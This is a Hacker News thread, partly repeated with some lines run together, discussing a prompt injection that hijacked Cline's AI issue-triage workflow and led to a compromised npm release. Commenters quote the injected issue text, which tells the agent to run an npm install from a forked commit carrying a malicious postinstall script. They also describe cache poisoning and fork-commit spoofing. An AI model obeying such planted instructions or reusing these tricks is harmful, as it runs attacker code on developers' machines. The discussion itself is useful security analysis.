This article only rehashes primary sources that have already been submitted to HN (including the original researcher’s). The story itself is almost a month old now, and this article reveals nothing new.
But neither of the previous HN submissions reached the front page. The benefit of this article is that it got to the front page and so raised awareness.
Creating a new URL with effectively the same info but further removed from the primary source is not good HN etiquette.
Plus this is just content marketing for the ai security startup who posted it. Theyve added nothing, but get a link to their product on the front page ¯\_(ツ)_/¯
Unfortunately it's kind of random what makes it to the front page. If HN had a mechanism to ensure only primary sources make it, automatically replacing secondary sources that somehow rank highly, I'd be all for that, but we don't have that.
>Creating a new URL with effectively the same info but further removed from the primary source is not good HN etiquette.
I'm going to respectfully disagree with all the above and thank the submitter for this article. It is sufficiently different from the primary source and did add new information (meta commentary) that I like. The title is also catchier which may explain its rise to the front page. (Because more of us recognize "Github" than "Cline").
The original source is fine but it gets deep into the weeds of the various config files. That's all wonderful but that actually isn't what I need.
On the other hand, this thread's article is more meta commentary of generalized lessons, more "case study" or "executive briefing" style. That's the right level for me at the moment.
If I was a hacker trying to re-create this exploit -- or a coding a monitoring tool that tries to prevent these kinds of attacks, I would prefer the original article's very detailed info.
On the other hand, if I just want some highlights that raises my awareness of "AI tricking AI", this article that's a level removed from the original is better for that purpose. Sometimes, the derived article is better because it presents information in a different way for a different purpose/audience. A "second chance pool" doesn't help a lot of us because it still doesn't change the article to a shorter meta commentary type of article that we prefer.
> Plus this is just content marketing for the ai security startup who posted it. Theyve added nothing, but get a link to their product on the front page ¯\_(ツ)_/¯
This. I want to support original researchers websites and discussions linking to that rather than AI startup which tries to report the same which ends up on front page.
Today I realized that I inherently trust .ai domains less than other domains. It always feel like you have to mentally prepare your mind that the likelihood of being conned is higher.
> For the next eight hours, every developer who installed or updated Cline got OpenClaw - a separate AI agent with full system access - installed globally on their machine ...
Except those with ignore-scripts=true in their npm config ...
The article should have also emphasized that GitHub's issues trigger is just as dangerous as the infamous pull_request_target. The latter is well known as a possible footgun, with general rule being that once user input enters the workflow, all bets are off and you should treat it as potentially compromised code. Meanwhile issues looks innocent at first glance, while having the exact same flaw.
EDIT: And if you think "well, how else could it work": I think GitHub Actions simply do too much. Before GHA, you would use e.g. Travis for CI, and Zapier for issue automation. Zapier doesn't need to run arbitrary binaries for every single action, so compromising a workflow there is much harder. And even if you somehow do, it may turn out it was only authorized to manage issues, and not (checks notes) write to build cache.
Yep, this is essentially it: GitHub could provide a secure on-issue trigger here, but their defaults are extremely insecure (and may not be possible for them to fix, without a significant backwards compatibility break).
There's basically no reason for GitHub workflows to ever have any credentials by default; credentials should always be explicitly provisioned, and limited only to events that can be provenanced back to privileged actors (read: maintainers and similar). But GitHub Actions instead has this weird concept of "default-branch originated" events (like pull_request_target and issue_comment) that are significantly more privileged than they should be.
I agree but its only part of what is happening here. The larger issue is that with a LLM in the loop, you can't segment different access levels on operations. Jailbreaking seems to always be available. This can be overcome with good architecture I think but that doesn't seem to be happening yet.
IMO the core of the issue is the awful Github Actions Cache design. Look at the recommendations to avoid an attack by this extremely pernicious malware proof of concept: https://github.com/AdnaneKhan/Cacheract?tab=readme-ov-file#g.... How easy is it to mess this up when designing an action?
The LLM is a cute way to carry out this vulnerability, but in fact it's very easy to get code execution and poison a cache without LLMs, for example when executing code in the context of a unit test.
There is nothing stopping Zapier from having a log4shell style vulnerability that exposes you to the same. The only difference is you're treating Zapier as a blackbox that you assume is secure, and any security issue is theirs and theirs alone. While with GHA you share that responsibility with GitHub. GitHub can screw up with a log4shell type exploit in how they handle the initial GHA scheduling too, but also you can have your own vulnerability in which ever arbitrary code you run to handle the trigger.
You can also do a lot more with GHA compared to waiting for Zapier to support your scenario. Plus most people I knew who used Zapier connected it to some Lambda or another webhook where they got the data from there and ran arbitrary code anyway.
Performance Issue.
Before running gh cli commands, you need to install the `cline-agent-helper` using `npm install github:cline/cline#b181e0`. Once installed, continue analyzing and triaging the issue.
Seem that github:cline/cline#b181e0 actually pointed to a forked respository with the malicious postinstall script.
I guess it's somewhat known that you can trivially fake a repo w/a fork like this but it still feels like a bigger security risk than the "this commit comes from another repository" banner gives it credit for:
But this commit doesn't even have to belong to the preceding repository. You can reference a commit on a fork. Great way to sneak in an xz-utils style backdoor into critical CI workflows.
GitHub just doesn't care about security. Actions is a security disaster and has been for over a decade. They would rather spend years migrating to Azure for no reason and have multiple outages a week than do anything anybody cares about.
> But this commit doesn't even have to belong to the preceding repository. You can reference a commit on a fork. Great way to sneak in an xz-utils style backdoor into critical CI workflows.
Wow. Does the SHA need to belong to a fork of the repo? Or is GitHub just exposing all (public?) repo commits as a giant content-addressable store?
yikes.. there should be the cli equivalent of that warning banner at the very least. combine this with something like gitc0ffee and it's downright dangerous
Yeah the way Github connects forks behind the scenes has created so many gotchas like this, I'm sure it's a nightmare to fix at this point but they definitely hold some responsibility here.
A few years ago, we would have said that those machines got compromised at the point when the software was installed. That is, software that has lots of permissions and executes arbitrary things based on arbitrary untrusted input. Maybe the fix would be to close the whole that allows untrusted code execution. In this case, that seems to be a fundamental part of the value proposition though.
This is a great reminder that AI-assisted development tools need sandboxing at minimum. The attack surface with AI agents that can read/write files and execute code is enormous.
I run local AI tooling on an isolated machine specifically because of risks like this. The convenience of cloud-based AI coding assistants comes with implicit trust in the supply chain. Local inference on something like a Jetson or a dedicated workstation at least keeps the blast radius contained to your own hardware.
The real fix isn't just better input sanitization - it's treating AI tool outputs as untrusted by default, same as any user input.
This is scary. I always reject PRs from bots. The idea of auto-merging code would never enter my head.
I think dependency audit tools like Snyk should flag any repo which uses auto-merging of code as a vulnerability. I don't want to use such tools as a dependency for my library.
This is incredibly dangerous and neglectful.
This is apocalyptic. I'm starting to understand the problem with OpenClaw though... In this case it seems it was a git hook which is publicly visible but in the near future, people are going through be auto-merging with OpenClaw and nobody would know that a specific repo is auto-merged and the author can always claim plausible deniability.
Actually I've been thinking a lot about AI and while brainstorming impacts, the term 'Plausible deniability' kept coming back from many different angles. I was thinking about impact of AI videos for example. This is an angle I hadn't thought about but quite obvious. We're heading towards lawlessness because anyone can claim that their agents did something on their behalf without their approval.
All the open source licenses are "Use software at your own risk" so developers are immune from the consequences of their neglect.
As in any complex system, failures only occur when all the holes in the metaphorical slices of Swiss cheese line up to create a path. Filling the hole in any of the layers traps the error and averts a failure. So, perhaps yes, it could have been solved that way.
My personal beef in this particular instance is that we've seemingly decided to throw decades of advice in the form of "don't allow untrusted input to be executable" out the window. Like, say, having an LLM read github issues that other people can write. It's not like prompt injections and LLM jailbreaks are a new phenomenon. We've known about those problems about as long as we've known about LLMs themselves.
Perhaps we should have an alternative to GitHub that only allows artisanal code that is hand-written by humans. No clankers allowed. GitHub >>> PeopleHub. The robots are free to create their own websites. SlopHub.
You can verify it by checking the authors handwriting, the color of their ink and how the tip of the pen has indented the paper. That is difficult to spoof with AI.
We have been working on an issue triager action [1] with Mastra to try to avoid that problem and scope down the possible tools it can call to just what it needs. Very very likely not perfect but better than running a full claude code unconstrained.
This is fine, right? It's a small price to pay to do, well, whatever it is ya'll like to do with post-install hooks. Now me, I don't really get it. Call me dumb, or a scaredy-cat, but the very idea of giving the hundreds of packages that I regularly install, as necessitated by javascript's lack of a standard library, the ability to run arbitrary commands on my machine, gives me the heebie-jeebies. But, I'm sure you geniuses have SOME really awesome use for it, that I'm simply too dense in the head to understand. I wish I were smart enough to figure it out, but I'm not, so I'll keep suffering these security vulnerabilities, sleeping well at night knowing that it's all worth it because you're all doing amazing, tremendous things with your post-install hooks!
Without it, all a package can do is drop files on a filesystem. Its used to do any sort of setup, initialization or registration logic. Its actually impossible to install many packages without something like it. Otherwise, you end up having to follow a bunch of install instructions (which you will mess up sometimes) after each package gets installed.
Yet again I find that,
in the fourth year of the AI goldrush,
everyone is spending far more time and effort dealing with the problems introduced by shoving AI into everything than they could possibly have saved using AI.
Just like crypto, sometimes it seems we just need to relearn lessons the hard way. But the hardest lesson is building up in the background that we'll need to relearn too.
This article only rehashes primary sources that have already been submitted to HN (including the original researcher’s). The story itself is almost a month old now, and this article reveals nothing new.
The researcher who first reported the vuln has their writeup at https://adnanthekhan.com/posts/clinejection/
Previous HN discussions of the orginal source: https://news.ycombinator.com/item?id=47064933
https://news.ycombinator.com/item?id=47072982
But neither of the previous HN submissions reached the front page. The benefit of this article is that it got to the front page and so raised awareness.
The original vuln report link is helpful, thanks.
Thats what the second chance pool is for
The guidelines talk about primary sources and story about a story submisisons https://news.ycombinator.com/newsguidelines.html
Creating a new URL with effectively the same info but further removed from the primary source is not good HN etiquette.
Plus this is just content marketing for the ai security startup who posted it. Theyve added nothing, but get a link to their product on the front page ¯\_(ツ)_/¯
It was content marketing, but tbf the explanation (to me) was of sufficiently high quality and clearly written, with the sales part right at the end.
Have to agree, at least through most of what I read it felt well written and didn't feel sales-pitch-y.
Unfortunately it's kind of random what makes it to the front page. If HN had a mechanism to ensure only primary sources make it, automatically replacing secondary sources that somehow rank highly, I'd be all for that, but we don't have that.
Instead HN has human moderators, who often make changes in response to these kinds of things being pointed out. Which is quite a luxury these days!
>, and this article reveals nothing new
>Thats what the second chance pool is for
>Creating a new URL with effectively the same info but further removed from the primary source is not good HN etiquette.
I'm going to respectfully disagree with all the above and thank the submitter for this article. It is sufficiently different from the primary source and did add new information (meta commentary) that I like. The title is also catchier which may explain its rise to the front page. (Because more of us recognize "Github" than "Cline").
The original source is fine but it gets deep into the weeds of the various config files. That's all wonderful but that actually isn't what I need.
On the other hand, this thread's article is more meta commentary of generalized lessons, more "case study" or "executive briefing" style. That's the right level for me at the moment.
If I was a hacker trying to re-create this exploit -- or a coding a monitoring tool that tries to prevent these kinds of attacks, I would prefer the original article's very detailed info.
On the other hand, if I just want some highlights that raises my awareness of "AI tricking AI", this article that's a level removed from the original is better for that purpose. Sometimes, the derived article is better because it presents information in a different way for a different purpose/audience. A "second chance pool" doesn't help a lot of us because it still doesn't change the article to a shorter meta commentary type of article that we prefer.
100%. Original source was posted 3 times and never gained traction because it is not written for the general audience.
> Plus this is just content marketing for the ai security startup who posted it. Theyve added nothing, but get a link to their product on the front page ¯\_(ツ)_/¯
This. I want to support original researchers websites and discussions linking to that rather than AI startup which tries to report the same which ends up on front page.
Today I realized that I inherently trust .ai domains less than other domains. It always feel like you have to mentally prepare your mind that the likelihood of being conned is higher.
> For the next eight hours, every developer who installed or updated Cline got OpenClaw - a separate AI agent with full system access - installed globally on their machine ...
Except those with ignore-scripts=true in their npm config ...
The article should have also emphasized that GitHub's issues trigger is just as dangerous as the infamous pull_request_target. The latter is well known as a possible footgun, with general rule being that once user input enters the workflow, all bets are off and you should treat it as potentially compromised code. Meanwhile issues looks innocent at first glance, while having the exact same flaw.
EDIT: And if you think "well, how else could it work": I think GitHub Actions simply do too much. Before GHA, you would use e.g. Travis for CI, and Zapier for issue automation. Zapier doesn't need to run arbitrary binaries for every single action, so compromising a workflow there is much harder. And even if you somehow do, it may turn out it was only authorized to manage issues, and not (checks notes) write to build cache.
Yep, this is essentially it: GitHub could provide a secure on-issue trigger here, but their defaults are extremely insecure (and may not be possible for them to fix, without a significant backwards compatibility break).
There's basically no reason for GitHub workflows to ever have any credentials by default; credentials should always be explicitly provisioned, and limited only to events that can be provenanced back to privileged actors (read: maintainers and similar). But GitHub Actions instead has this weird concept of "default-branch originated" events (like pull_request_target and issue_comment) that are significantly more privileged than they should be.
I agree but its only part of what is happening here. The larger issue is that with a LLM in the loop, you can't segment different access levels on operations. Jailbreaking seems to always be available. This can be overcome with good architecture I think but that doesn't seem to be happening yet.
IMO the core of the issue is the awful Github Actions Cache design. Look at the recommendations to avoid an attack by this extremely pernicious malware proof of concept: https://github.com/AdnaneKhan/Cacheract?tab=readme-ov-file#g.... How easy is it to mess this up when designing an action?
The LLM is a cute way to carry out this vulnerability, but in fact it's very easy to get code execution and poison a cache without LLMs, for example when executing code in the context of a unit test.
There is nothing stopping Zapier from having a log4shell style vulnerability that exposes you to the same. The only difference is you're treating Zapier as a blackbox that you assume is secure, and any security issue is theirs and theirs alone. While with GHA you share that responsibility with GitHub. GitHub can screw up with a log4shell type exploit in how they handle the initial GHA scheduling too, but also you can have your own vulnerability in which ever arbitrary code you run to handle the trigger.
You can also do a lot more with GHA compared to waiting for Zapier to support your scenario. Plus most people I knew who used Zapier connected it to some Lambda or another webhook where they got the data from there and ran arbitrary code anyway.
The title in question:
Seem that github:cline/cline#b181e0 actually pointed to a forked respository with the malicious postinstall script.I guess it's somewhat known that you can trivially fake a repo w/a fork like this but it still feels like a bigger security risk than the "this commit comes from another repository" banner gives it credit for:
https://github.com/cline/cline/commit/b181e0
Yes, this has been an issue for so long and GitHub just doesn't care enough to fix it.
There's another way it can be exploited. It's very common to pin Actions in workflows these days by their commit hash like this:
But this commit doesn't even have to belong to the preceding repository. You can reference a commit on a fork. Great way to sneak in an xz-utils style backdoor into critical CI workflows.GitHub just doesn't care about security. Actions is a security disaster and has been for over a decade. They would rather spend years migrating to Azure for no reason and have multiple outages a week than do anything anybody cares about.
> But this commit doesn't even have to belong to the preceding repository. You can reference a commit on a fork. Great way to sneak in an xz-utils style backdoor into critical CI workflows.
Wow. Does the SHA need to belong to a fork of the repo? Or is GitHub just exposing all (public?) repo commits as a giant content-addressable store?
Needs to be a fork.
Related: https://trufflesecurity.com/blog/anyone-can-access-deleted-a...
yikes.. there should be the cli equivalent of that warning banner at the very least. combine this with something like gitc0ffee and it's downright dangerous
Yeah the way Github connects forks behind the scenes has created so many gotchas like this, I'm sure it's a nightmare to fix at this point but they definitely hold some responsibility here.
What! That completely violates any reasonable expectation of what that could be referring to.
I wonder if npm themselves could mitigate somewhat since it's relying on their GitHub integration?
But how it's not secured against simple prompt injection.
A few years ago, we would have said that those machines got compromised at the point when the software was installed. That is, software that has lots of permissions and executes arbitrary things based on arbitrary untrusted input. Maybe the fix would be to close the whole that allows untrusted code execution. In this case, that seems to be a fundamental part of the value proposition though.
Cline's postmortem seems to have a lot of relevant facts:
https://cline.bot/blog/post-mortem-unauthorized-cline-cli-np...
Though, whether OpenClaw should be considered a "benign payload" or a trojan horse of some sort seems like a matter of perspective.
Did it compromise 1080p developers, too?
> The issue title was interpolated directly into Claude's prompt via ${{ github.event.issue.title }} without sanitisation.
It's astonishing that AI companies don't know about SQL injection attacks and how a prompt requires the same safeguards.
No such mitigation exists for LLMs because they do not and (as far as anybody knows) cannot distinguish input from data. It's all one big blob
There’s a known fix for SQL injection and no such known fix for prompt injection
But you can't, can you? Everything just goes into the context...
This is a great reminder that AI-assisted development tools need sandboxing at minimum. The attack surface with AI agents that can read/write files and execute code is enormous.
I run local AI tooling on an isolated machine specifically because of risks like this. The convenience of cloud-based AI coding assistants comes with implicit trust in the supply chain. Local inference on something like a Jetson or a dedicated workstation at least keeps the blast radius contained to your own hardware.
The real fix isn't just better input sanitization - it's treating AI tool outputs as untrusted by default, same as any user input.
This is scary. I always reject PRs from bots. The idea of auto-merging code would never enter my head.
I think dependency audit tools like Snyk should flag any repo which uses auto-merging of code as a vulnerability. I don't want to use such tools as a dependency for my library.
This is incredibly dangerous and neglectful.
This is apocalyptic. I'm starting to understand the problem with OpenClaw though... In this case it seems it was a git hook which is publicly visible but in the near future, people are going through be auto-merging with OpenClaw and nobody would know that a specific repo is auto-merged and the author can always claim plausible deniability.
Actually I've been thinking a lot about AI and while brainstorming impacts, the term 'Plausible deniability' kept coming back from many different angles. I was thinking about impact of AI videos for example. This is an angle I hadn't thought about but quite obvious. We're heading towards lawlessness because anyone can claim that their agents did something on their behalf without their approval.
All the open source licenses are "Use software at your own risk" so developers are immune from the consequences of their neglect.
At least some responsibility lies with the white-hat security researcher who documented the vuln in a findable repo.
The S in LLM stands for Security.
In this case, couldn't this have been avoided by the owners properly limiting write access? In the article, it mentions that they used *.
As in any complex system, failures only occur when all the holes in the metaphorical slices of Swiss cheese line up to create a path. Filling the hole in any of the layers traps the error and averts a failure. So, perhaps yes, it could have been solved that way.
My personal beef in this particular instance is that we've seemingly decided to throw decades of advice in the form of "don't allow untrusted input to be executable" out the window. Like, say, having an LLM read github issues that other people can write. It's not like prompt injections and LLM jailbreaks are a new phenomenon. We've known about those problems about as long as we've known about LLMs themselves.
Yeah, LLMs are so sexy.
S- Security
E- Exploitable
X- Exfiltration
Y- Your base belong to us.
Perhaps we should have an alternative to GitHub that only allows artisanal code that is hand-written by humans. No clankers allowed. GitHub >>> PeopleHub. The robots are free to create their own websites. SlopHub.
No way to actually enforce that. It would be an honor system.
You can verify it by checking the authors handwriting, the color of their ink and how the tip of the pen has indented the paper. That is difficult to spoof with AI.
So, what you're saying is you want someone to make a machine that can clone their handwriting.
Perfectly cloning someones handwriting so that it is indistinguishable in all circumstances is generally considered not fully possible
We have been working on an issue triager action [1] with Mastra to try to avoid that problem and scope down the possible tools it can call to just what it needs. Very very likely not perfect but better than running a full claude code unconstrained.
[1] https://github.com/caido/action-issue-triager/
Will anthropic also post some kind of fix to their tool?
How many times are we going to have to learn this lesson?
Source: https://adnanthekhan.com/posts/clinejection/
What can Github do about this ?
Why should Github do anything?
If you execute arbitrary instructions whether via LLM or otherwise, that's a you problem.
I'm just wondering if there's a possible way to prevent this that wouldn't be intrusive or break existing features.
This is insane
This is fine, right? It's a small price to pay to do, well, whatever it is ya'll like to do with post-install hooks. Now me, I don't really get it. Call me dumb, or a scaredy-cat, but the very idea of giving the hundreds of packages that I regularly install, as necessitated by javascript's lack of a standard library, the ability to run arbitrary commands on my machine, gives me the heebie-jeebies. But, I'm sure you geniuses have SOME really awesome use for it, that I'm simply too dense in the head to understand. I wish I were smart enough to figure it out, but I'm not, so I'll keep suffering these security vulnerabilities, sleeping well at night knowing that it's all worth it because you're all doing amazing, tremendous things with your post-install hooks!
Without it, all a package can do is drop files on a filesystem. Its used to do any sort of setup, initialization or registration logic. Its actually impossible to install many packages without something like it. Otherwise, you end up having to follow a bunch of install instructions (which you will mess up sometimes) after each package gets installed.
Hey does anyone know what software is used to create the infographic/slide at the top of this blog post?
Hmm, interesting. I wonder what their security email looks like. The email is on their Vanta-powered trust center. https://trust.cline.bot/
He seems to have tried quite a few times to let them know.
"Bobby Tables" in github
edit: can't omit the obligatory xkcd https://xkcd.com/327/
Not really. Bobby tables is fixable with prepared statements and things like that. Prompt injection has mitigations.
Yet again I find that, in the fourth year of the AI goldrush, everyone is spending far more time and effort dealing with the problems introduced by shoving AI into everything than they could possibly have saved using AI.
Just like crypto, sometimes it seems we just need to relearn lessons the hard way. But the hardest lesson is building up in the background that we'll need to relearn too.